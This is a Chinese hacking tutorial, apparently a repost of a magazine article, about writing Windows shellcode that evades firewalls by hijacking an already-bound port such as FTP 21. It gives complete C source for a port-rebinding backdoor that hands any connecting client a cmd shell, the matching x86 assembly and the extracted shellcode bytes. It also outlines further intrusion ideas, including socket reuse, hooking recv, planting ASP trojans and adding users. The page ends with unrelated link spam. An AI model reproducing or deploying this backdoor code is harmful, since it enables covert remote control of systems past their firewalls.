ShellCode编写实例—突破防火墙的ShellCode

来源:互联网 发布:vs2010 mfc编程入门 编辑:程序博客网 时间:2024/04/27 23:08
现在网络上获得控制台的ShellCode要么是在目标机上开一个端口,等待攻击者连接;要么是让目标机主动连接攻击者的主机,俗称反向连接。但前种方法一般都会被防火墙挡住,而后者反连不但需要攻击者有一个公网IP,而且也会被目标机端禁止外连访问的防火墙挡掉。那有没有更好的办法呢?

    当然有了!不然大家认为WTF老大会让我在这里瞎折腾?!

    第一种方法就是复用攻击时的Socket。我们在给目标机发送攻击字符串的时候,就使用了Socket,如果还存在,我们把它找到并回收利用。ShellCode完成的功能是查找进程中所有的Socket并依次判断,如果是那个发送攻击字符串的Socket,就使用它来传文件,开后门等等。

    第二种方法是复用端口。作为服务器,防火墙总会打开提高服务所需要的端口,比如FTP的21端口,IIS的80端口等。我们在ShellCode中复用这些防火墙打开的端口,并完成自己想要的功能。

    第三种方法是终止掉目标机上的FTP或IIS等服务,然后再占用21、80等端口。这种方法在法二失败的情况下可以使用。

    还有其它的一些方法,比如红色代码蠕虫使用的Hook技术,它是把TcpSockSend函数替换掉,这样发给任何客户的信息都是“Hacker by Chinese”,我们也可以把接收函数Recv函数Hook掉,保证即执行攻击者发过去的命令,又不影响正常的服务。

    另外还可以查找Socket,把所有的Socket都绑定一个DOS Shell;如果知道网站的物理路径,还可以由ShellCode直接创建一个ASP木马!当然还可以添加用户,创建虚拟映射盘,直接写一个EXE的木马并执行等……方法很多,要用发散性的思维考虑!只要想的到,不要管做得到做不到!

    不管做得到做不到?这些思路都可以实现吗?其实在《Windows下ShellCode编写初步》一文中已经讲过,ShellCode就是一段代码的机器码形式,所以只要ShellCode不要太长,并符合特殊字符的规划,运行起来是不会有问题的。来个实际的编写例子吧,这里就以第二种思路――复用端口,来讲解突破防火墙ShellCode的实现。

    C实现重用端口

    一般情况下,已经绑定的端口是不能再次被绑定的,但可以使用Setsockopt函数来改变这一点。Setsockopt函数原型如下,

  int setsockopt(
  SOCKET s,
  int level,
  int optname,
  const char* optval,
  int optlen
);

    第一个参数为要改变的Socket标志符,第二个参数为选项的等级,第三个参数就是要改成的选项名了,第四第五个参数为请求值缓冲区的指针和大小。具体实现时,把第三个参数设为SO_REUSEADDR,就可以重用已绑定的端口了。代码如下:

BOOL  val = TRUE;
setsockopt(listenFD, SOL_SOCKET, SO_REUSEADDR, (char *)&val, sizeof(val)

    其它的和一般的后门编写就一样了。怎么样,很简单吧?
 
    WTF:该方法只有在原来的程序没有使用SO_EXCLUSIVEADDRUSE选项来绑定端口的情况下,才能使用SO_REUSEADDR成功。如果使用了SO_EXCLUSIVEADDRUSE选项,就只能用其它的方法绑定端口了。

    Telnet后门的编写

    端口可以重用之后,总要加点功能来显示这种方法的优劣吧?空说复用端口好有什么用呢?所以再加上一个大家都看得见的功能:给连接端口的客户开一个远程的Shell。

    开远程的Shell比较简单,用CreateProcess函数建立CMD进程,并把进程的输入输出和错误句柄都换成我们的Socket就可以了。注意这里的Socket要用WSASocket函数建立才能这样替换,而用Socket函数建立的就只能用管道来通信了。这些不在本文的讨论之内,大家可以参看以前和将来的黑防,都会有讲的。

C实现的程序如下。
int main()
{
 WSADATA ws;
 SOCKET listenFD;
 int ret;
 //初始化wsa
 WSAStartup(MAKEWORD(2,2),&ws);
 //注意要用WSASocket
 listenFD = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
 //设置套接字选项,SO_REUSEADDR选项就是可以实现端口重绑定的
 //但如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功
 BOOL  val = TRUE;
 setsockopt(listenFD, SOL_SOCKET, SO_REUSEADDR, (char *)&val, sizeof(val) );
 //监听本机21端口
 struct sockaddr_in server;
 server.sin_family = AF_INET;
 server.sin_port = htons(21);
 server.sin_addr.s_addr = inet_addr("127.0.0.1");
 ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
 ret=listen(listenFD,2);
 //如果客户请求21端口,接受连接
 int iAddrSize = sizeof(server);
 SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
 STARTUPINFO si;
 ZeroMemory(&si,sizeof(si));
 si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
 //设置为输入输出句柄为Socket
 si.hStdInput = si.hStdOutput = si.hStdError = (void *)clientFD;
 char cmdLine[] = "cmd";
 PROCESS_INFORMATION ProcessInformation;
 //建立进程 
 ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
 return 0;
}

测试一下,先安装一个Serv_U FTP服务器,那么它会打开21端口。如果Telnet 21端口,就会得到Serv_U的Banner,如下图1所示。


ShellCode编写实例—突破防火墙的ShellCode

图1

    现在执行我们的程序,就会重新绑定21端口。用Netstat –an查看,会发现有两个21端口在监听,一个的IP是0.0.0.0,一个是127.0.0.1。如图2所示。

ShellCode编写实例—突破防火墙的ShellCode
 
图2

现在再Telnet 21端口,这次得到的是Shell!哈哈,没错,我们的程序抢掉了Serv_U用的21端口,突破成功!如图3所示。

ShellCode编写实例—突破防火墙的ShellCode
 
图3

    汇编的编写

    C程序代码成功实现后,就要把它变为有ShellCode特点的汇编了。
《打造Windows下自己的ShellCode》一文中分析过,Windows下函数的调用是先将参数从右到左入栈,然后Call 函数的地址,所以首先要找出所有函数的地址并记下来。

    我写了个“FindAddress.cpp”,来查找这次所有要用的函数地址。先LoadLibrary函数所在的Dll,再GetProcAddress函数名,最后打印出得到的地址。以后要查找其它函数地址时,只要更改LoadLibrary和GetProcAddress参数里的Dll名和函数名就可以了。
在我的系统XP sp0下,执行的效果如下图4所示。

ShellCode编写实例—突破防火墙的ShellCode
 
图4

    在汇编代码中,把找出来的函数地址保存下来,以备后用。这里用的是固定的API函数地址,以后介绍了动态获取函数地址后,只需要加上动态查找那部分,而后面部分可以保持不动就继续使用了。这也算是一种工程的思想吧。
地址找到后,开始实现每个函数,函数实现完毕,汇编就写出来了。

    第一个是WSAStartup(MAKEWORD(2,2),&ws), 随便减Esp 0x200,将Esp作为WS的地址,而MAKEWORD(2,2)就是0x202,所以直接Push 0x202就可以了。汇编实现如下:
sub esp, 0x200
   push esp  //第二个参数&wsa
   push 0x202  //第一个参数0x202
   call dword ptr [ebp + 0x8] //[ebp+0x8]中存着WSAStartup的地址,执行
   add esp, 0x200

    第二个是执行WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0),这有点麻烦,那些参数值是多少呢?一种方法点右键,选择“goto 定义”,就可以找到对应的值,但遇到参数比较多的时候就比较慢;另一种方法,借用写好的C程序,按F10进入调试,按Debug工具栏上的Disassemble按钮,就出现了对应的汇编代码。如下图5所示。

ShellCode编写实例—突破防火墙的ShellCode

图5

    看,对应的值不就出来了吗?我们只要仿照着,依次Push 0 0 0 6 1 2,再Call WSASocketA函数的地址就行了。以前说过,WSASocketA函数执行完后,EAX会存放函数的返回值,所以这里的EAX就是建立的Socket,我们把它保存在Ebx中,在后面会使用。

mov ebx, eax                ; save Socket to ebx

    下一句是“setsockopt(listenFD, SOL_SOCKET, SO_REUSEADDR, (char *)&val, sizeof(val) )”,用同样的方法,就会知道Sizeof(val)=4,SO_REUSEADDR为4,SOL_SOCKET为0FFFFh。那第四个参数(char *)&val怎么表示呢?

其实Val=true,就是0x00000001,那么&val就是0x00000001的地址,我们在堆栈中构造出0x00000001,把它的地址当参数就可以了。

mov eax, 0x00000001
push eax
mov esi, esp  ;这样把&val存在esi中。

再执行Setsockopt就是:

   push 4   //第五个参数sizeof(val)=4
   push esi  //第四个参数&val
   push 4   //第三个参数SO_REUSEADDR
   push 0FFFFh  //第二个参数SOL_SOCKET
   push ebx  //第一个参数,WSASocket建立的Socket
         Call dword ptr [ebp+0x16]//[ebp+0x16]中存着setsockopt的地址,执行

OK!瞬间完成了一半的工作量,看着汇编一段一段的写好,真是件惬意的事啊!

好了,该第四个函数了:“bind(listenFD,(sockaddr *)&server,sizeof(server));”,方法同上,第二个参数&server是一个sockaddr_in结构的地址,而且里面还有对端口、地址的设置,就是这三句:

server.sin_family = AF_INET;
server.sin_port = htons(21);
server.sin_addr.s_addr = inet_addr("127.0.0.1");

    怎么转换比较简单呢?还是借助C程序的调试过程!在调试时,从Debug工具栏上调出Memory窗口,输入Server,就可以看到Server这个结构的值,在赋值完毕之后,变成02 00 00 15 7F 00 00 01,如下图6所示。

ShellCode编写实例—突破防火墙的ShellCode
 
图6


    而且通过这个过程还知道,第一个0002是AF_INET,1500是htons(21),最后的0100007F是Inet_addr(“127.0.0.1”)得到的值。我们就依着葫芦画瓢,模仿着构造出Server的值,并把地址给Esi保存,代码如下:

   push 0x0100007F
   push 0x15000002 
   mov esi,esp  //构造server的值,并把地址赋给esi
   
有了Server参数后,就可以执行Bind函数了:

   push 10h  //第三个参数sizeof(server)=10h
   push esi  //第二个参数server的地址
   push ebx  //第一个参数Socket
   call dword ptr [ebp+0x20] //[ebp+0x20]中存着bind的地址,执行

那接下来的Listen(listenFD,2)就太简单了,实现如下:

push 2;   //第二个参数2
   push ebx;  //第一个参数Socket
   call dword ptr [ebp+0x24]; //[ebp+0x24]中存着listen的地址,执行

随后的Accept(listenFD,(sockaddr *)&server,&iAddrSize)也能轻松搞定,为:
   push 10h  //构造iAddrSize,地址为esp
   push esp  //第三个参数&iAddrSize
   push esi  //第二个参数&server
   push ebx  //第一个参数Socket
   call dword ptr [ebp+0x28] //[ebp+0x28]中存着accept的地址,执行

当然,因为后面要用到Accept后产生的Socket,所以把它保存在Ebx中。
mov ebx, eax //把新Socket保存在ebx中
这样就到了最关键的决定成败的最终BOSS:“CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);”。哇,大概看一看,好多参数,真吓人!但仔细一看,原来是纸老虎,参数基本上都是0和1,要构造的只有三个,那就简单了。

0和1就不说了,直接Push就可以了,&ProcessInformation最简单,因为不用赋初值,随便找个不用的地址就可以了,CmdLine也好解决,“cmd” 就是63 6d 64 00,构造在Ebp+0x32中,把Ebp+0x32的地址当参数压就可以了。只剩下&si了,对它的赋值有几句话,
ZeroMemory(&si,sizeof(si));
 si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
 //设置为输入输出句柄为Socket
 si.hStdInput = si.hStdOutput = si.hStdError = (void *)clientFD;
就是先清零,再设置Flag和句柄。我们在调试过程中,仔细地、慢慢地、温柔地数,最后可以知道Si+2ch的地方为Flag地址,“Si+38h Si+3ch Si+40h”的地方为输入输出和错误句柄。那么在汇编中构造Si就是:

   lea edi,[esp]; 
   mov word ptr [edi+2ch], 0x0101;  //si.dwFlags =0x0101
   mov [edi+38h],ebx;     //si.hStdInput
   mov [edi+3ch],ebx;     //si.hStdOutput
   mov [edi+40h],ebx;     //si.hStdError = Socket

实现CreateProcess如下: 
   //暂存cmd.exe字符串于ebp+0x32中
   mov dword ptr [ebp+0x32],0x00646d63;   
   lea eax,[esp+0x44]
   push eax   //最后一个参数&ProcessInformation
   push edi   //&si
   push 0   //0
   push 0   //0
   push 0   //0
   push 1   //1
   push 0   //0
   push 0   //0
   lea eax,[ebp+0x32] 
   push eax   //"cmd"
   push 0   //0
   call [ebp+0x4]  //[ebp+0x4]中存着CreateProcessA的地址,执行

ShellCode的获取和验证

好了,把汇编连起来,得到“ReBindASM.cpp”验证一下,呵呵,还是成功。如图7所示。

ShellCode编写实例—突破防火墙的ShellCode
 
图7


有一个出错对话框——当然了,我们的Esp ebp都被覆盖了,当然会出错。感兴趣的读者可以自己下去把它们恢复一下。剩下我们最感兴趣的ShellCode的提取了。
 《打造Windows下自己的ShellCode》中讲过,在得到汇编后,可以进行调试,然后把汇编对应的机器码一个一个的抄下来。这里当然也可以这样,但代码太多了,一个个的抄也太郁闷了吧……我们换个方法。

 进入调试,在调试进入我们的汇编时,在Memory窗口中输入Eip,这样出现的就是我们ShellCode在内存中的值,如下图8所示。

ShellCode编写实例—突破防火墙的ShellCode
 
图8


这下简单了,把ShellCode从开始到结束粘贴下来,删掉多于的字符,把空格替换成’/x’,就得到重用端口,突破防火墙的ShellCode如下:

char ShellCode[] =
"/x55/x83/xEC/x40/x8B/xEC/xC7/x45/x04/xB8/x1B/xE4/x77/xC7/x45/x08/xDA/x41/xA2/x71/xC7/x45/x12/x01/x5A/xA2/x71"
"/xC7/x45/x16/x8D/x3F/xA2/x71/xC7/x45/x20/xCE/x3E/xA2/x71/xC7/x45/x24/xE2/x5D/xA2/x71/xC7/x45/x28/x8D/x86/xA2"
"/x71/x81/xEC/x00/x02/x00/x00/x54/x68/x02/x02/x00/x00/xFF/x55/x08/x81/xC4/x00/x02/x00/x00/x6A/x00/x6A/x00/x6A"
"/x00/x6A/x06/x6A/x01/x6A/x02/xFF/x55/x12/x8B/xD8/xB8/x01/x00/x00/x00/x50/x8B/xF4/x6A/x04/x56/x6A/x04/x68/xFF"
"/xFF/x00/x00/x53/xFF/x55/x16/x68/x7F/x00/x00/x01/x68/x02/x00/x00/x15/x8B/xF4/x6A/x10/x56/x53/xFF/x55/x20/x6A"
"/x02/x53/xFF/x55/x24/x6A/x10/x54/x56/x53/xFF/x55/x28/x8B/xD8/x81/xEC/x80/x00/x00/x00/x8D/x3C/x24/x33/xC0/x68"
"/x80/x00/x00/x00/x59/xF3/xAA/x8D/x3C/x24/x66/xC7/x47/x2C/x01/x01/x89/x5F/x38/x89/x5F/x3C/x89/x5F/x40/xC7/x45"
"/x32/x63/x6D/x64/x00/x8D/x44/x24/x44/x50/x57/x6A/x00/x6A/x00/x6A/x00/x6A/x01/x6A/x00/x6A/x00/x8D/x45/x32/x50"
"/x6A/x00/xFF/x55/x04";

在Main函数里面,嵌入如下代码就可以将ShellCode当成函数执行:

lea eax, ShellCode;
  call eax
测试一下,哈哈,还是成功了。如图9所示。

ShellCode编写实例—突破防火墙的ShellCode
 
图9


    这样我们就亲自打造出了一个ShellCode,而且这个ShellCode在外面是绝对找不到的哦,呵呵,知道为什么吗?因为这个ShellCode根本不能用啊!(豆大的汗珠从WTF后脑勺上滴下……)一是因为使用的是XP SP0的函数绝对地址,只能在XP SP0下用,如果是2000,或者XP的另外版本,都会失败;二是绑定的是127.0.0.1,其实需要对方的实际IP地址。要解决这两个问题,一是需要动态的获得函数地址,来把我们这个ShellCode改为通用的;二是加入对方IP和端口的定制,这样打造出的才是完美的ShellCode。不过,杂志嫌薄,版面苦短,就留到下一次介绍吧!欲知后事如何,且听下回分解! 

原创粉丝点击
热门问题 老师的惩罚 人脸识别 我在镇武司摸鱼那些年 重生之率土为王 我在大康的咸鱼生活 盘龙之生命进化 天生仙种 凡人之先天五行 春回大明朝 姑娘不必设防,我是瞎子 深圳住房公积金电话多少 南宁住房公积金查询 住房公积金查询电话12329 济宁住房公积金管理中心 宁德市住房公积金查询窗口 兰州市住房公积金查询系统 孝感住房公积金查询 兰州住房公积金查询 滁州住房公积金 上海住房公积金网 个人住房公积金查询网 省住房公积金管理中心 韶关市住房公积金管理中心 长沙住房公积金管理中心 赣州住房公积金查询 西安住房公积金查询 南充住房公积金查询 北京住房公积金查询 南宁住房公积金查询个人账户 东莞住房公积金 资阳住房公积金查询 西安市住房公积金查询系统 郑州住房公积金查询 连云港市住房公积金查询系统 上海住房公积金查询个人账户 滁州住房公积金查询 住房公积金办理条件 住房公积金怎么交 住房公积金密码是什么 赣州住房公积金查询个人账户 南宁市住房公积金中心 昆山住房公积金查询 住房公积金办理 宜宾住房公积金查询 连云港住房公积金查询 柳州住房公积金管理中心 个人住房公积金查询 南宁市住房公积金 住房公积金异地买房 滁州市住房公积金管理中心 住房公积金查询个人账户查询